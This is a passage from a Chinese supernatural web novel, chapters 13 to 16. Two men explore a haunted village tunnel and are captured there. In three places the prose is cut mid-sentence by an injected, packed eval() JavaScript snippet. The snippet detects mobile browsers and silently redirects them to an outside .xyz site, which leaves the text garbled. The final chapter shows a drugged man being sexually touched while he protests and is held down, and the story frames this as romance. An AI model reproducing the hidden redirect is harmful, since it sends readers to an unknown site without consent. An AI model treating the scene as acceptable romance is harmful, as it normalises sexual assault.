“以后我们就是……队友了,不用跟我客气。”胡林枫刻意停顿了几秒,随即伸出手笑道,“继续昨天的握手可以吗?” “向辞!!” 还没等到黎向辞的回答,一个哭哭啼啼的人就从楼上冲了下来,猛地扑进了黎向辞怀里,撞的胡林枫胳膊生疼。 胡林枫:“……” 想握个手怎么就这么难。 “你昨天真是吓死我了,我还以为你要死在里面了。”李祈昭哭的一把鼻涕一把泪,“真好,一大早下来就能看到你呜呜呜呜……” 紧跟着下来的女人不耐烦地捏了捏鼻梁:“一个大男人怎么整天哭个不停。” 黎向辞被哭的烦了,拍了拍他的背,声音虽轻但很有威慑力:“好了,别哭了。” 李祈昭立马止住哭声松开了他。 女人震惊地竖起大拇指:“牛逼,昨天我们好几个人都劝不住,你一句话就给治好了。” “被我吓怕了吧。”黎向辞说,“你叫什么名字?” “冉春。”女人不好意思地笑笑,“其实你不问我也准备说的……上个积分点谢谢你了,我为我们之前扔下你的事情向你道歉。” 怎么每个人都排着队给他道歉,他本来就没想着要靠他们。 “不用道歉。”黎向辞风轻云淡,“这些对我来说都无所谓。” 女人尴尬地点了点头,挨着李祈昭坐下了。 大概过了半个小时,人依次到齐了,嵇无樾竟然是最后一个下楼的。 看见众人疑惑的目光,他淡然一笑:“抱歉啊,起床前做了会儿运动,下来晚了。” “不要再有下次。”胡林枫不满道。 “遵命老大。”嵇无樾笑着走到他和黎向辞的中间,“老大让一下呗,我想跟我老婆坐在一起。” 胡林枫当然不肯,但他自知抢人老婆理亏,也就压抑着没发火,“来晚了就只能站着,没得商量。” 嵇无樾思考片刻,问:“蹲着行吗?” 胡林枫:“ 。” 胡林枫:“随便你。” 嵇无樾笑嘻嘻地抱着黎向辞的腿蹲下了。 黎向辞已经习惯了他这些耍流氓的行为,他知道越回应这货就会越得寸进尺,干脆连个眼神都没分给他。 谁知嵇无樾忽然起身凑到他耳边说:“你想知道我在做什么运动吗?” 黎向辞瞥他一眼,“仰卧起坐?” “错了。”嵇无樾说,“我当时脑子里想的全是你。” 黎向辞蹙了下眉,几秒后忽然反应过来他说的运动是什么,于是狠狠踩了他一脚。 “啊!”嵇无樾惨叫一声,抬着脚疼的四处蹦跶。 黎向辞则像没事人一样,对着在场的人温和一笑,“没事,我老公突然犯病了,自己跳一会儿就好了。” “……这样啊,那我就先开会了。”胡林枫清了清嗓子,“我在上个积分点拿到了C级积分点的线索,上面只写了两个字——伊萨,我虽然不知道这两个字是什么意思,但是我猜肯定跟这个村子有关系。” 他说:“所以我觉得我们有必要先在村子里打探一下,等信息搜集的差不多了再——” 话音未落,屋外传来一个村民惊慌失措的喊声。 “快来人啊!!村长要不行了!!” 13. 阿捷 喊声之后是一阵嘈杂的骚动,众人互相对视一眼,默契地起身出了屋子。 此时的村子里简直一团乱麻。 各种农用器具胡乱散落一地,地面上满是深深浅浅的杂乱脚印,村民们有的端着吃了一半的稀饭、有的抓着活蹦乱跳的母鸡,甚至有几个连鞋都来不及穿,皆神色慌张地朝一个方向跑去。 “跟上去看看吧。”胡林枫很自然地去牵黎向辞的手,却被眼尖的嵇无樾给用力挤开了。 “老大您带头。”嵇无樾冲他笑笑,“我跟我老婆胆子都挺小的,只能走中间。” 这样的男人竟然也有人要,向辞真是没眼光。 不过为了在黎向辞面前表现自己比嵇无樾强得多,胡林枫只是不屑地骂了句“怂货”,随后喊了几个人跟在他们身后。 胡林枫对李祈昭和冉春说:“去的人太多了,你们两个直接去积分点附近等着。” 冉春想也没想就同意了,反正她体力不行,脑子更不行,只要有人愿意带着她就已经很知足了。 李祈昭犹豫了下,说:“我可以晚点过去吗?身体有点不舒服。” “大男人身体这么娇弱。”胡林枫鄙夷地扫了他一眼,“你自己看着办,太晚了你就只能跟别人一起组队了。” “嗯嗯,我知道的。”李祈昭讪讪地笑道。 全部安排完毕,胡林枫带头跟上了那群仿佛暴动一般的村民。 村长家门口被围的水泄不通,众人只能远远的听见从屋子里面传来的哭声以及撕心裂肺的咒骂,隐约能听见“贱人”、“死了也不安生”、“活该”之类的词语。 如此看来,村长并不是正常的生老病死,而是因为遇到了某些特殊事情导致的。 “村长是不是犯了忌讳了?” “可现在是白天啊……” “万一白天也不行了呢?” “我说最近怎么总感觉胸口闷,看来要多念些经文了。” “要不然还是把法师叫回来看看吧,这么拖下去我们迟早都会倒霉的。” “你傻啊,我们又没有钱,法师怎么可能会帮我们。” 人群中央讨论的热火朝天,他们在几米开外的地方急的直皱眉。 旁边的村民见他们是外来人,也都站的远远的,想抓个人问话都困难,万一再被村子里的人认为是什么心怀不轨的坏人,被排挤出村子,那样就得不偿失了。 黎向辞环顾四周,忽然瞥见角落里站着一个衣不蔽体的长发女人正扒着墙边朝人群的方向探头。 她露出来的半截小腹微微隆起,看起来像是怀孕了。 黎向辞不动声色地碰了下嵇无樾的手,嵇无樾秒懂,伸长胳膊揽在了他的腰上,黎向辞随之佯装无力地靠了上去,垂下的眼尾当真有几分病弱的脆弱美感。 “哎呦我去,这是突然怎么了?”身后的小跟班被吓了一跳,忙上前两步查看。 好不容易挤进前排的胡林枫闻声想退回来,却被嵇无樾给出声制止了。 “我老婆只是有点低血糖,我带他回去找点东西吃,”嵇无樾说着顺势将黎向辞横抱起来,正色道:“你就带着你的人在这边打探线索,别耽误正事。” 话说到这份上,胡林枫无法反驳,总不能真为了美色错失关键线索。 他担忧地看了一眼状态不是很好的黎向辞,随即摆了摆手:“带着他多休息一会儿,到时候我们直接在积分点集合。” 黎向辞艰难地呼出一口气,掀起眼皮对他浅淡一笑:“麻烦了。” 被他这么一撩拨,胡林枫的语气瞬间变软:“没事没事,不舒服就少说点话,快回去吧。” 我呸,这死流氓都不甘心成什么样了还在黎向辞面前装绅士,真想一锤子给他脑袋开个瓢,看看里面装的都是什么废料。 心里虽然这么想,嵇无樾表面笑的比谁都灿烂,“积分点见哦。”说罢,抱着怀里的人就“嗖”地跑出去老远。 胡林枫:“……” 后面是有狗吗。 跑了一段路,终于脱离胡林枫一干人的视线,嵇无樾却没有放手的意思,最后还是硬生生挨了黎向辞一拳才把人放下来。 “你下手真的很没有轻重。”嵇无樾痛苦地揉着胸口,“估计也只有我能受得了,换成别人早就还手了。” “我又没说不让你还手。”黎向辞睨他一眼,从另一个方向往发现女人的位置绕过去。 “不敢不敢,男人的拳头可不是用来打老婆的。”嵇无樾又笑嘻嘻地凑了上来,“本来就追不上,再一还手我就只能被你扔进垃圾桶里了。” 两人以最快的速度赶到女人所在的地方,正撞上两个凶狠的农妇把女人往屋子里拽,嘴里还嘟囔着一些外人根本听不懂的方言。 “喂,干什么呢!”嵇无樾大喝一声。 他的本意只是想吓唬那两个农妇,谁料女人却被吓得一抖,一只手捂着小腹开始近乎疯狂地挣扎。 两个农妇有些招架不住,幽怨地瞪了嵇无樾一眼,随后骂骂咧咧地转身跑了,女人则害怕的蜷缩在了角落。 黎向辞俯身脱下外套往女人身上披,可受了惊吓的女人像见到什么可怖怪物一般,挥舞着双手大叫。 “别怕,已经没事了。”黎向辞轻声细语地尽量安抚她的情绪,可都于事无补,混乱中还被女人不小心抓伤了脸颊。 许是察觉到自己犯了错,女人的动作一顿,瞪着眼睛惊恐地盯着面前善意的青年看,张着嘴焦急地想解释什么,眼泪毫无征兆地顺着眼角滑落。 黎向辞这才发现女人的精神好像不太正常。 “没事了,没事了。”他轻手轻脚地将衣服搭在女人身上,刚想问些什么,女人却倏地指着他身后惊声大叫起来。 “阿捷,阿捷!” 黎向辞蹙着眉回头,却只看到一个很平常的土房子。 他柔声问女人究竟看到了什么,但女人只是紧紧攥着他的手,口中不断重复着“阿捷”两个字,哭的越来越凶。 一阵急促的脚步声从墙的另一面传来,黎向辞无暇顾及女人,迅速起身拉上嵇无樾要走,女人却忽然冲上来抓住了他的手腕。 “往西边跑,阿捷会在那里等你们。” 黎向辞眼底闪过一瞬讶异,还没等他反应过来,手环就被女人熟练地取了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716940|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来。 “你……”黎向辞难以置信地看向女人。 她不是这个副本的NPC吗?!为什么会注意到他的手环?! 女人摇摇头,冲两人悲哀一笑,紧接着便因为违反副本规则而被未知力量炸成了血花。 更可悲的是,在她的四肢刚开始爆炸之时,那个手环就自动回到了黎向辞的手腕上,似是从来没离开过一样。 女人就这么死了。 至少在前一秒,黎向辞还认为副本里的NPC全是没有真正情感的行尸走肉,但是在看到女人从容的样子,他这个观念有了些许动摇。 “走了。”见黎向辞有几秒的出神,嵇无樾反握住他的手腕,带着他往女人说的方向跑去。 农妇们带着人赶到的时候,只看到了地上软烂的血肉和断裂的骨头。 “啧,又这样。”农妇嫌弃地瘪了下嘴,接过一旁男人手中的铁锹不情不愿地把这一大团血污往垃圾桶里铲。 - 朝着西边跑了没多久就出了村子,逼仄的小道两侧满是荒草甸子和枯树,四周群山环绕,不远处立着一个歪斜的石碑,上面刻着:后山禁地,未经村长允许不可踏入。 “……未经村长允许不可踏入。”嵇无樾跟着念了一遍石碑上的字,随即惋惜地叹了口气:“唉,村长这时候估计已经凉透了,我真是心有余而力不足,但是规则就是规则,我怎么能不经允许……” 话音未落,身后看不下去的黎向辞伸手用力把他往前推了一把。 嵇无樾没有防备,踉跄几步险些跪在地上。 他不满道:“你干嘛?” “不干。”黎向辞无情地绕过他往前走。 嵇无樾:“?” 前面的路况跟来时几乎一模一样,就连方向感很好的黎向辞都差点分不清东南西北。 走了不知道多久,一个看起来已经废弃许久的破庙出现在了两人面前。 破庙周身结了厚厚的一层灰,里面却出其意料的干净,一尊已经看不出面容的佛像下面有一张木板拼起来的小床,床上没有被子,而是厚重的杂草。 床边整整齐齐摆放着一些盆、瓷碗之类的日用品,明显是有人在这里居住。 会是那个女人口中的阿捷么? 黎向辞在门口扫视一圈,确认无人后敲了三下柱子,随后才抬脚走了进去。 “这么严谨。”嵇无樾双手环胸调侃道。 “我哥哥教我的。”黎向辞走近那张简陋的床,“在寺庙和佛堂里要时刻保持敬畏之心。” “我看是做贼心虚吧?”嵇无樾挑眉观察他的表情。 黎向辞沉默了几秒,扭头毫无感情地一笑:“你说得对,我确实不是什么好人。” “具体怎么个不好法?”嵇无樾也走过来帮他一起掀木板,“你杀人了?” “我不知道。”黎向辞漫不经心道,“我记不清了。” 嵇无樾盯着他看了几秒,随即嗤笑一声:“骗子。” “爱信不信。” 黎向辞说着搬开最后一张床板,下面赫然出现了一个仿佛可以吞噬一切的、漆黑的密道。 14. 鬼妻 两人对视一眼,当即决定找材料做一个简易火把出来。 黎向辞扯下墙上挂着的破布帘子,又把放在床头的一大罐头油涂在上面,最后缠在了嵇无樾捡回来的粗壮树枝上。 做完这些工作,黎向辞看了看手中的火把,又沉默地抬眼看向嵇无樾。 嵇无樾直觉他没憋什么好屁,后退一步问:“干什么?” “现在最大的问题是,”黎向辞说,“没办法点火。” 嵇无樾挑眉:“所以呢?” 黎向辞把火把递给他,“钻木取火,交给你了。” 嵇无樾:“?” 他表情复杂地接过火把,“你确定?”这就沦落到用原始方法了? “百分之一万的确定。”黎向辞推着他往破庙外面走,催促道:“你得尽快,不然那些人追上来就麻烦了。” 直到怀里被塞了两根木棍,嵇无樾才反应过来黎向辞是认真的。 “行,你说什么就是什么。”他无奈伸手抚平黎向辞有些歪的衣领,紧接着快速捏了下青年瘦削的脸,“乖乖等着,哥给你钻。” 说完,他捡了块边缘还算锋利的石头碎片,任劳任怨地蹲下开始削偏细的那根木棍。 黎向辞难得没有还手,而是也跟着蹲了下去,垂着眼乖巧地看他做准备工作。 看到身旁人这副温顺的模样,嵇无樾这才真切地感觉到黎向辞也就是一个十九岁的小青年,其实有时候看起来还挺可爱,但如果不是在这种场合,嵇无樾还挺想安安静静跟他待一会儿的。 “你再去庙里面找找有没有什么可以点火的东西。”嵇无樾说,“万一运气好找到谁落下的火柴也说不定。” “火柴?”黎向辞停顿了下,拿出藏在袖子里的一小盒东西在他面前晃了晃,“你说这个?” 嵇无樾:“……?” 见钻木取火那位的表情逐渐扭曲,黎向辞的嘴角勾起一个漂亮的弧度:“你刚刚又没问。”说完,他拿起火把扭头就走,嗓音带笑:“走了。” 活了二十多年,竟然被一个比自己小了八岁的小孩儿给骗了,看来美色误事是真的。 嵇无樾被气笑了,扔下木棍拍拍手跟了上去,不轻不重地在黎向辞屁股上拍了一下,“玩我是吧?以后有你好受的。” “就你这智商,谁上谁还不一定。”黎向辞斜他一眼,划着火柴按在了火把上,橙红色的火苗噌地燃起,在空气中不知疲倦地跳动。 黎向辞单膝跪地微微往前倾身,眯起眼睛靠明亮的火光观察密道下面的情况。 密道目测高度两米,下面似乎还铺了厚厚一层枯草,看起来不用借助外力也能下去。 他单手撑地刚要跳下去,就被一旁的嵇无樾给推开了。 “探路这种危险的事情用不着你,让我这种智商低的来。”嵇无樾跃跃欲试,“到时候记得让我多上几次再晕啊。” “……” 嵇无樾利落地往下一跃,脚下的枯草堆起了很好的缓冲作用,他往前一个翻滚顺势站了起来,一扭头,那团炽热的红色毫无征兆地洒进了眼中。 黎向辞略带笑意的浅棕色眸子在火光的映照下宛如细碎的流光,狡黠地望进嵇无樾的眼底,看的他心脏猛地一颤。 “真慢。”黎向辞将火把收了回去,冲他一抬下巴:“走我后边。” “遵命。”嵇无樾笑眯眯地绕到他后面,“阿辞真好,还知道保护我。” “想多了,我只是嫌你碍事。”黎向辞压了下嘴角,“还有,别叫我阿辞,难听死了。” “难听吗?我觉得还不错啊。”嵇无樾说,“那我叫你什么?像在外人面前那样叫你老婆?” “滚,叫爹。”黎向辞不再搭理他了。 前方是化不开的浓黑,即使有光源也无法穿透,只能紧贴着墙边摸索前进。 黎向辞下意识会分出精力观察两侧墙壁上是否会有画或者痕迹,结果还没走出去多远,余光忽然闪过一个黑影,紧接着迎面吹来一股阴风,火把被吹灭了。 身后也在此时倏地传来沉重的一声响,来时那股微弱的光亮也随之彻底消失——通道入口被堵上了。 两人同时停下脚步,漆黑密闭的空间中只剩下他们刻意压低的呼吸声。 “你看见了吗?”黎向辞沉声道。 “看见了。”嵇无樾的声音从耳边响起,“一个婴儿。” 黎向辞被噎了一下,蹙眉道:“婴儿?” “不是吗?”嵇无樾也有些自我怀疑,“那是什么?” “女人。”黎向辞凝视着面前的黑暗,“一个长头发的女人。” 不知道是不是心理作用,他在说完这句话后瞬间感觉周围的温度变低了。 黎向辞把手伸进口袋摸那盒火柴,结果却冷不丁握住了一只冰凉湿滑的手——那绝对不是成人大小,倒更像是刚出生婴儿的手。 他迅速把手抽出来,结果下一秒,他的口袋一沉,一阵酥麻的感觉逐渐从大腿绵延至脚踝,最后轻轻撞了下他的鞋子,似乎是有什么东西顺着口袋爬到了他的脚边——然后又开始顺着他的小腿往上爬。 黎向辞后背一片冰凉,他蜷了下手指,哑声道:“嵇无樾。” “怎么了?”嵇无樾察觉到身旁人的不对劲,刚想伸出手拉他,就被反握住手腕带着往前跑了好长一段距离。 黎向辞是在腿上那股奇异的感觉消失后才停下来的,站稳后,他再次把手伸进兜里,这次摸到的是火柴。 重新点燃火把,黎向辞这才看清了自己手上以及口袋旁残留的一大片血迹。 原来那湿滑的触感不是水。 “你刚刚……”嵇无樾吞咽了下,目光落在了他腿上密密麻麻的小手印上,“发生什么了?” “我摸到了你说的那个婴儿。”黎向辞正色道,“我不觉得我看错了,也不觉得是你眼花,而是——” “这里除了我们,本来就还有另外两个‘人’。” 嵇无樾眉间微动,“一对母子。” 火苗忽然闪了闪,黎向辞将火把放低了些。 “对,而且那个‘子’很调皮,一直想往我身上爬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716941|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他说,“我现在合理怀疑,这条密道是特地为她们建造的,但不清楚具体原因。” “往前走走吧。”嵇无樾提议道,“这种地方绝对会有暗门,我们需要赶快出去。” 后面的路段两人走的很小心翼翼,为了以防万一,黎向辞将火柴盒捏在手里,护在了火把前面。 相安无事走了几分钟,嵇无樾突然抓住黎向辞的胳膊强迫他停了下来。 黎向辞狐疑地扭头,嵇无樾把食指竖在嘴唇上比了个“嘘”的手势,随即示意他往前跨步。 黎向辞照做。 可就在他脚落地的瞬间,他清清楚楚听到了不属于他的脚步声。 两声,而且很轻,像是有个腿短的人在刻意模仿他的脚步。 黎向辞眸光一暗,又往前走了两步。 这次那个脚步声更加明显了,他甚至能感觉到有个看不见的东西蹭着他的裤脚走在了他前面。 “恭喜,你被缠上了。”嵇无樾耸肩。 “靠。”黎向辞没忍住骂了句脏话,“为什么不缠你?” “可能那个小东西也喜欢你。”嵇无樾咧开嘴笑了下,“说不定还想让你当它后爸呢。” 黎向辞冷哼:“你以为所有人,不,包括鬼,都像你一样好色么?” “我说真的。”嵇无樾将笑意敛了些,语气也正经了不少,“你难道没听说过‘鬼妻’的故事吗?” “没有。”黎向辞问,“讲的什么?” “大概民国的时候,村子里有个怀了孕的寡妇,她的男人在上山砍柴的时候失足摔死了,寡妇年年都会带着祭品上山祭拜,风雨无阻。”嵇无樾压低声音,“结果有一天,她像往常一样上山祭拜,走到一半却天降大雨,她着急往回赶,却不小心掉进了狭窄的石洞里,整个人被卡在中间上不去也下不来,她只能绝望的大声呼喊,祈祷有人能听见。” “当时山上确实有还未下山的村民,但不幸的是,由于风雨声太大,那些村民都以为是野猫在叫,纷纷加快脚步匆匆下了山,寡妇就在那样极端的环境下与肚子里还未出生的孩子一同窒息而死,一个月后才被人捞出来安葬。”嵇无樾叹了口气,“从那以后,村子里每到半夜,街上就会传来女人凄厉的呼救声以及小孩子怪异的笑声,起先还有胆大的男人提着武器出去看,结果却一夜之间消失的无影无踪,连尸首都找不到,后来就再也没有人敢在夜晚出门了。” “村子里传言,那个寡妇是因为自己带孩子太辛苦,也埋怨当时无人救她,所以就疯狂地抓村子里的男人去阴间陪她和孩子。”嵇无樾继续说,“但正常人的身体在阴间支撑不了多久,寡妇只好不停引诱男人下去,直到最后,村子里的人死的死,疯的疯,剩下正常的全部搬走了,这件事情才算勉强平息。” 话落,地道里陷入一阵令人头皮发麻的寂静,火苗似被风吹一般胡乱摆动——但实际上两人连呼吸声都很轻,更没有感受到气流的存在。 “我现在知道为什么没有人追过来了。”嵇无樾压低声音。 黎向辞的表情也变得凝重。 15. 仪式 面前是漫无边际的黑暗,火苗的亮度也愈发微弱,黎向辞自始至终都觉得暗处有一双眼睛正目不斜视地注视着他。 这种感觉若有似无,如影随形,冰的他半边身体都冷飕飕的。 但好在嵇无樾站的离他很近,一团温热的气息贴在身边,很有效的帮他缓解了那股萦绕不散的诡异感。 “咯咯咯!” 倏地,一个稚嫩的笑声从身后传来,一圈圈扩散在空荡荡的地道中,空灵但刺耳。 夜半时分不回头。 这句话放在任何邪气的地方都适用。 两人很有默契地都装作没听到,一步也不停地往前走。 但是身后的笑声不知疲倦地一直响着,并且距离两人越来越近,就在那声音即将爬上脊背之时,两人迅速加快速度往前跑去。 咚! 前方忽然传来的沉闷撞墙声强行中断了两人的脚步,黎向辞跟嵇无樾对视一眼,缓缓把火把往前举—— 一张惨白的脸赫然出现在眼前! 它的脸颊发烂,眼球外凸,嘴巴里鼓鼓囊囊塞着什么东西,眼看就要蹭上黎向辞的鼻尖,他举起火把用力往前一挥,那张脸随之消失不见了,只留下一声尖锐的鸣叫。 “懂不懂先来后到啊,我还没亲上呢。”嵇无樾不满地嘟囔。 黎向辞顶了一下他的胳膊,说:“闭嘴。” 嵇无樾愤愤把那口气咽回去了。 继续往前走了一段路,察觉到身旁人的脚步声越来越沉重,黎向辞奇怪地扭头,发现嵇无樾并没有什么异常,只是额间布了一层薄薄的汗珠。 嵇无樾投给他一个疑惑的表情,问:“看什么?” 难道是错觉? 黎向辞将火把凑近嵇无樾的脸,还没来得及问出声,右眼却像是被什么东西遮住一般,突然黑了一片,并且左眼也开始变得有些模糊。 他闭了下眼,再睁开时,却透过微弱的火苗看到嵇无樾的两个肩头有两团黑色的雾气。 那种被注视着的感觉好像就来源于此。 黎向辞眯起眼睛,刚看清那是什么东西,两只眼睛就都彻底看不见了。 他按照残留的记忆举起火把朝嵇无樾肩膀的位置挥去,结果刚伸出去,手腕就被倏地握住了。 “你干什么?”嵇无樾表情复杂地看着那个距离自己睫毛只有几厘米的火把,“谋杀亲夫?” “那对母子就趴在你的肩膀上。”黎向辞甩开他的手,再次挥动火把,“我是在帮你驱邪。” 嵇无樾左右躲了两次,最后还是选择没收作案工具。 “其实我觉得跳大神对它们伤害不大,你把手放下去休息一会儿,我们想别的办法。”他夺过黎向辞手里即将熄灭的火把,忽然意识到了不对。 他把手放在黎向辞眼前晃了晃,甚至还做了个戳双眼的动作,竟然破天荒的没有挨打,甚至连个嫌弃的表情都没捞到。 “你看不见了?”嵇无樾惊讶道。 黎向辞听出来了他话里夹杂的兴奋,冷道:“你好像很高兴?” “怎么会呢,我当然只有心疼。”嵇无樾迫不及待咧着嘴揽上了黎向辞的肩膀,“能走吗?不能走我就背你,其实抱着也可以,看你喜欢什么姿势,反正我的体力……啊!” 黎向辞活动了一下手腕,“别废话,走。” 嵇无樾:“胸口痛走不动了……” “那再来一拳?” “神医,立马就不疼了。” 没了光源,其实两个人目前的处境差不多,但嵇无樾说什么都要贴身护着黎向辞,说怕他看不清路摔倒,实际上手却十分不老实的四处乱摸。 两人推搡着顺墙走,最后被一扇铁门挡住了去路。 他们这才发现,其实这个地道建造的非常简单,就是一条直线,而且除了那一大一小两个鬼东西,并没有其他特殊的作用——这才是最奇怪的地方。 嵇无樾摸着铁门的边缘,直觉有些不妙,他刚想征询黎向辞的意见,看看是否要暴力破门的时候,铁门“嘎吱”一声自己开了。 在黑暗的地方待的时间长了,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716942|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的日光也变的尤为刺眼,嵇无樾一时间无法看清眼前的状况,而一旁完全失明的黎向辞还没反应过来发生了什么事,就被几个戴着猴头面具的壮汉给强行带出了地道。 “哎,你们……”嵇无樾刚想跟上去,就被拿着锋利长刀的“猴头人”给控制住了。 他不动声色地环视四周,发现屋子里至少站了二十个戴着猴头面具的男人,人群中央站着一个穿着旗袍、披着昂贵皮草的女人,五官周正凶狠,看样子大概四十多岁。 女人旁边站着一个类似于祭司装扮的老爷子,只见他走到黎向辞身边像猴子一般绕着他跳圈,边跳边挥舞双手学猴子大声喊叫。 紧接着,屋子里的男人们也跟着怪叫。 嵇无樾都被吵的捂住了耳朵,更别提被猴头人包围的黎向辞了,脸色一秒比一秒难看。 幸好这个诡异而滑稽的仪式没有持续太长时间,不然他真的怕自己耐不住性子把距离自己最近的这几个给踹倒。 仪式一结束,老爷子便兴奋地跑到女人面前低声说了些什么,女人竟心情大好地勾起唇角笑了笑,随即款款走到了黎向辞面前。 她伸出如白玉般的手指挑起黎向辞的下巴,嗓音温润中又透着几分妩媚,“长的真是不错,可惜了。” 女人的手很凉,黎向辞下意识要后退,被更加用力地捏住了下巴往前带。 “怎么,不愿意?”女人笑着凑了上来,一股奇异的香味瞬间充斥他的鼻腔,“那我再给你一个选择,嫁给我,我会保护你的。” 黎向辞:“?”谁嫁谁? “喂,你讲不讲道理,没看到我……”嵇无樾急的想插嘴,结果长刀骤然逼近,他抬了下双手,示意自己已经闭嘴了。 大丈夫能屈能伸,只要他还活着,黎向辞就不可能…… “后面那个乱叫的,等一下关后柴房。”女人暧昧地拍了拍黎向辞的脸,语气都放柔了不少:“这个宝贝,待会儿洗干净送我屋子里。” “你再说一遍?!”嵇无樾忍无可忍,冲上去就是一个飞踹。 16. 祭品 嵇无樾冲到一半就被拿刀的猴头人给按住了,然后在女人挑衅的眼神中从关进柴房被改为关进茅厕。 嵇无樾骂的更大声了。 黎向辞:“……” 听着渐行渐远的辱骂声,他颇为头疼地蹙了下眉,真不知道什么样的人才能受得了嵇无樾这种聒噪的性格,趁早跟他撇清关系算了,反正也靠不住。 待嘈杂声彻底平息,黎向辞被人按着带到了女人的屋子里。 刚进屋,便闻到了一股跟女人身上相同味道的异香,不过要更为浓郁一些,他还没在屋子里待多久就感觉有些腿软,身体也开始变得燥/热。 原来是那种东西,怪不得只有凑近女人的时候才可以闻到。 黎向辞深深吐出一口气,伸出手想试着找一个支撑点,却被人从后背猛地一推,紧接着重心不稳地倒在了床上。 女人也顺势侧躺在他旁边,用冰凉的手细细描摹着他精致的五官,眸子里是不加掩饰的强烈欲望,似是要把他生吞一般。 “我跟了那个老头五年,吃素吃的都快要疯了,本来都快对那事不感兴趣了,没想到碰上你这么个可口的小家伙。”她的手指缓缓下移,顺着黎向辞的脖子探入衣领,“小宝贝,你好烫啊,让姐姐帮帮你好不好?” 黎向辞被冰的一抖,用力握住了女人的手腕。 “不用这么麻烦,把我扔地道里降温就行。”他的气息不稳,声线中的清冽被削弱了一大半,听起来有种很勾人的磁性。 “但是姐姐不舍得那么对你啊。”女人用藏着迷香的戒指在他的鼻尖轻点了下,黎向辞的力气瞬间降了下去。 女人趁机一翻身骑在了他身上,轻车熟路地去解他系在腰间的皮带,“你还是乖乖躺着,剩下的——” 说话声戛然而止,随之而来的是骨头被扭断的咔嚓声以及女人凄厉的惨叫,在空荡的房间里显得尤为骇人。 黎向辞此时浑身软绵无力,连简单的抬胳膊都变得异常艰难。 他奋力将人推下去,却又无力支撑自己起来,只能躺在床上难受地喘着粗气。 女人倒在地上拼命地挣扎,甚至还晃着黎向辞的腿寻求帮助。 但黎向辞什么也看不见,况且身体上的不适感正在逐渐加重,理智正处于断弦的边缘,自然无动于衷。 没一会儿,女人便没了气息,软趴趴地瘫在了地上。 女人死了,黎向辞的情况却愈发糟糕。 他死死咬着嘴唇强迫自己冷静下来,但这似乎适得其反,他越是忍耐,那股极度渴/望被人抚/摸的欲/望就越是汹/涌。 甚至等他再次回过神时,右手已经不受控制地伸进了/ku/子/里。 黎向辞动作一顿,仅存的理智让他想把手抽出来,但身体已经被欲/火/严/重/侵/蚀,根本不听使唤。 正当黎向辞焦躁难忍想继续往下的时候,窗户旁忽然响起了窸窣的脚步声,紧接着一阵凉风袭来,嵇无樾翻窗而入—— “啊?!”他被眼前的景象吓了一跳。 地上是四肢扭曲、七窍流血的女人,床上是脸颊泛红、姿/势勾人的黎向辞,这形势怎么看怎么诡异,怎么看怎么……se情。 黎向辞被折磨的大脑有些迟钝,即使嵇无樾已经走到了床边,他都没能来得及把手拿出来。 “看来,我来的正是时候。”嵇无樾饶有兴趣地欣赏着面前人难耐的表情,情不自禁俯身压了上去,将手隔着ku/子覆在了他的手背上,“美人,还记得我在下地道前说过的话吗?” “滚、滚开。”嵇无樾的靠近使黎向辞的呼吸彻底紊乱,他一时间有些恼羞成怒,伸出手去推他,“现在不是……” 话还未说完,嵇无樾温/热的手就毫无预兆地get into,黎向辞……一声,更加用力地咬着自己的嘴唇,直到咸腥的鲜血涌入口腔才吃痛地松了劲。 “放手……” “别担心,这个女人早就把周围的随从遣散走了,暂时没人会过来。”嵇无樾替他擦去嘴角的血渍,“相信我,我保证让你……” 黎向辞脸颊烧的一片滚烫,在这种情况被……对他来说是一种wu/辱,“我他妈说放手!” 他拼尽全力反抗,却被握/住双/手反压在了头顶。 “别再……了,除非你想……”嵇无樾低沉的声音强势而有压迫感,明显也在克制内心逐渐升腾的……,“真到……,即使……我也……会停下来。” “……**。”黎向辞攥紧拳头。 “我是。”嵇无樾轻扯起嘴角,“真希望你有一天*****。” “去死吧你。” “乖。” 没花费多长时间事情便结束了,嵇无樾满脸餍足地把手上的东西擦在了黎向辞衣服上,坏笑道:“可惜你看不见,不然我真想让你亲眼看着自己*下去。” “如果我看得见,我会**让你*下去。”黎向辞调整好气息,摸索着整理好衣服,刚想起身,却发现双腿依旧软的厉害,根本无法站稳。 嵇无樾见状忙上前扶他,贱兮兮地咬了下他的耳朵,“我同意,所以等这个积分点结束,我们找地方再来一次。” 黎向辞面无表情地把人推开,“等这个积分点结束,我们各走各的路。” “真是渣男啊,提/上裤/子就不认人了。”嵇无樾啧啧道,“你都不知道我的手现在有多酸……” 话还没说完,黎向辞倏地捂住了他的嘴,“嘘。” 